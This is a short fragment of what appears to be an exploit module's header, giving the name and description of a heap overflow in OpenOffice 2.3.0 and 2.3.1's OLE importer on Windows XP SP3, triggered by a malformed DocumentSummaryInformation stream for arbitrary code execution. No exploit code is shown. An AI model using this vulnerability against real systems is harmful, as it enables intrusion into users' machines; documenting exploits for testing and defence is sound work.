'Name' => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",
'Description' => %q{
This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on
Microsoft Windows XP SP3.
By supplying a OLE file with a malformed DocumentSummaryInformation stream, an
attacker can gain control of the execution flow, which results arbitrary code
execution under the context of the user.
